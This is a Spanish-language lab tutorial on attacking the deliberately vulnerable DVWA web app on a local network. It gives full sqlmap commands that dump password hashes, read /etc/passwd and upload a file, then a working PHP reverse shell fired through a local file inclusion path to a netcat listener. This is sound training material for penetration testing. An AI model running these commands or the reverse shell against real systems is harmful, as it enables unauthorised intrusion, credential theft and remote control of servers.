SQL Injection
Esta página fue escrita por Alondra. Puedes conocerla aqui: -> https://www.linkedin.com/in/ajjs/
📋Primeros pasos
✅ 1. Test SQLmap (detección)
sqlmap -u "http://10.0.2.X/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=43f0xxx; security=low"
🔹 Donde:
-u
: Especifica la URL con el parámetro vulnerable (id en este caso)--cookie
: Es la sesión para que no nos saque de DVWA, donde:`PHPSESSID=43f0xxx → Es el ID de sesión activa.
security=low
→ Nivel de seguridad de DVWA, necesario para mantener la vulnerabilidad activa
O bien,
sqlmap -r request.txt
🔹 Donde request.txt
es el archivo con la información de la request obtenida con BurpSuite.
RESULTADO ESPERADO 👉 Confirmar la vulnerabilidad SQLi y obtener información básica. Este es el primer escaneo, donde SQLmap:
Envía payloads de prueba (
AND 1=1
,UNION SELECT
, etc.).Detecta si el parámetro
id
es vulnerable.Identifica el motor de base de datos (en este caso, MySQL).
[!info] Nota Si en algun punto, nos pregunta
got a 302 redirect to 'http://10.0.2.17/dvwa/login.php'. Do you want to follow? [Y/n]
hay que darle a 'n', ya que se podría perder la sesión
✅ 2. Enumerar las bases de datos
sqlmap -u "http://10.0.2.X/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=43f0xxx; security=low" --dbs
O bien,
sqlmap -r request.txt --dbs
🔹 Donde:
--dbs
: Es la flag que indica al sqlmap que queremos obtener las bases de datos existentes
RESULTADO ESPERADO 👉 Lista con las bases de datos existentes (dvwa, information_schema, metasploit, mysql, etc)
✅ 3. Listar tablas de DVWA
sqlmap -u "http://10.0.2.X/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=43f0xxx; security=low" -D dvwa --tables
O bien,
sqlmap -r request.txt -D dvwa --tables
🔹 Donde:
-D
: Especifica la base de datos (dvwa en este caso)--tables
: Le pedimos que enumere todas las tablas dentro de esa base de datos.
RESULTADO ESPERADO 👉 Lista de tablas existentes en la base de datos dvwa
✅ 4. Obtener usuarios y contraseñas
sqlmap -u "http://10.0.2.X/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=43f0xxx; security=low" -D dvwa -T users --dump
🔹 Donde:
-T
Especifica la tabla en la base de datos (en este caso, users)--dump
Indica a SQLmap que extraiga todo el contenido de esa tabla.
RESULTADO ESPERADO 👉 Tabla sql con los datos que almacena, y, particularmente en este caso, el hash de las contraseñas (con su de-hash si se activó la opción)
[!info] Observaciones Cuando pregunta
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
nos da la opción de almacenar los hashes en un archivo, en caso de querer trabajar aparte con ellos Cuando preguntado you want to crack them via a dictionary-based attack? [Y/n/q]
nos da la opción de romper las contraseñas utilizando un diccionario
✅5. Identificar usuarios de la base de datos
🟣1.1 Identificarse a sí mismo
sqlmap -u "http://10.0.2.X/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=43f0xxx; security=low" --current-user
O bien,
sqlmap -r request.txt --current-user
🔹 Donde:
--current-user
: Le pide a SQLmap que identifique al usuario de la base de datos con el que se ejecutan las consultas
RESULTADO ESPERADO 👉Algo como
[INFO] fetching current user current user: 'root@localhost'
🟣1.2 ¿Somos admin?
sqlmap -u "http://10.0.2.X/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=43f0xxx; security=low" --is-dba
O bien,
sqlmap -r request.txt --is-dba
🔹 Donde:
--is-dba
: Pregunta directamente si el usuario actual de la base de datos tiene el privilegio DBA (Administrador de Base de Datos), en otras palabras: ¿tenemos control total sobre el motor de la base de datos?
RESULTADO ESPERADO 👉Algo como
[INFO] fetching current user current user is DBA: True
🟣1.3 Lista de privilegios
sqlmap -u "http://10.0.2.X/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=43f0xxx; security=low" --privileges
O bien,
sqlmap -r request.txt --privileges
🔹 Donde:
--privileges
: Le pide a SQLmap que identifique los privilegios del usuario DE LA BASE DE DATOS en la base de datos
RESULTADO ESPERADO 👉Lista de usuarios de la base de datos junto con los respectivos permisos. Nos interesa que para el usuario que vimos en el punto 1.1 veamos el privilegio FILE
. El privilegio FILE
de MySQL permite leer y escribir archivos directamente en el sistema Linux, dentro de los límites de los permisos del usuario mysql
que ejecuta el servicio.
🐚Reverse shell
✅ 1. Preparar payload (la reverse shell)
Crear un PHP en la Kali:
<?php
set_time_limit (0);
$ip = '10.0.2.X'; // IP de la Kali
$port = 4444; // Puerto donde escuchará la Kali
$sock = fsockopen($ip, $port); // Crea un socket con la IP y puerto especificados
$proc = proc_open('/bin/sh', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); //Abre el socket
?>
Guardar como shell.php
.
✅ 2. Subir la webshell con SQLmap
🟠2.1 Comprobar privilegio FILE
sqlmap -u "http://10.0.2.x/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=43f0xxx; security=low" --file-read="/etc/passwd"
O bien,
sqlmap -r request.txt --file-read="/etc/passwd" --file-read="/etc/passwd"
🔹Donde:
--file-read
: Le indica a SQLmap que lea un archivo dentro del sistema de archivos DEL SERVIDOR (No confundir con la base de datos)/etc/passwd
: Es un archivo típico de sistemas Linux, contiene una lista de los usuarios del sistema.
RESULTADO ESPERADO 👉Si en efecto, tenemos el privilegio FILE
, en efecto, al ejecutar este comando nos descargará el contenido, veremos algo como
files saved to: [*] /home/kali/.local/share/sqlmap/output/10.0.2.17/files/_etc_passwd (size differs from remote file)
El cual, de hecho, se puede consultar cat /home/kali/.local/share/sqlmap/output/10.0.2.17/files/_etc_passwd
[!question] ¿Cómo saber dónde subir la shell reversa? Al usar comandos como
--file-read
o--file-write
, la instrucción se ejecuta por el proceso del servidor MySQL el cual corre en el sistema operativo con un usuario específico, que normalmente es mysql en Linux. Entonces, estamos limitados a las carpetas donde el usuario mysql tiene permisos de escritura
🟠2.2Subir shell:
sqlmap -u "http://10.0.2.x/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=43f0xxx; security=low" \
--file-write="/ruta/absoluta/a/shell.php" \
--file-dest="/var/lib/mysql/hacked.php"
🔹Donde:
--file-write
: Es el comando para subir un archivo. Aquí especificamos la ruta absoluta del archivoshell.php
creado anteriormente--file-dest
: Indica el destino en el servidor donde se subirá el archivo
[!question] ¿Por qué /var/lib/mysql/?
El usuario del sistema operativo que ejecuta MySQL (
mysql
) tiene permisos de escritura ahí.Intentar escribir en otras rutas como
/var/www/html/
fallaron previamente porquemysql
no tiene permisos allí.Aunque la carpeta no es accesible directamente vía web, se puede ejecutar usando un LFI (Local File Inclusion).
RESULTADO ESPERADO 👉Si todo sale bien,veremos algo como
[INFO] the remote file '/var/lib/mysql/hacked.php' is larger (189 B) than the local file '/home/kali/shell.php' (188B)
✅ 3. Ejecución de la reverse shell
🟢3.1 Preparar el listener Utilizando Netcat, abrimos el puerto de escucha en la Kali. Debe coincidir con el puerto escrito en shell.php
nc -lvnp 4444
🔹Donde:
-l
: Modo escucha-v
: Modo verbose (nos muestra las conexiones)-n
: No hace resolución DNS-p
: Puerto
🟢3.2 Activar la shell mediante LFI Ya que la shell se guardó en /var/lib/mysql/hacked.php
, la ejecutamos incluyéndola en la aplicación web vulnerable a LFI (Local File Inclusion). Para ello, desde el navegador hay que acceder a: http://10.0.2.x/dvwa/vulnerabilities/fi/?page=../../../../../../var/lib/mysql/hacked.php
🔹Donde:
/fi/
: Es el recurso web vulnerable a LFIpage
: Es el atributo desde donde nos dirigimos a la reverse shell
RESULTADO ESPERADO 👉Si todo sale bien, en la terminal Kali veremos algo como:
listening on [any] 4444 ... connect to [IP_KALI] from (UNKNOWN) [IP_DVWA] 41889
🎉 Una vez logrado esto, ya podremos ejecutar comandos desde la terminal
Last updated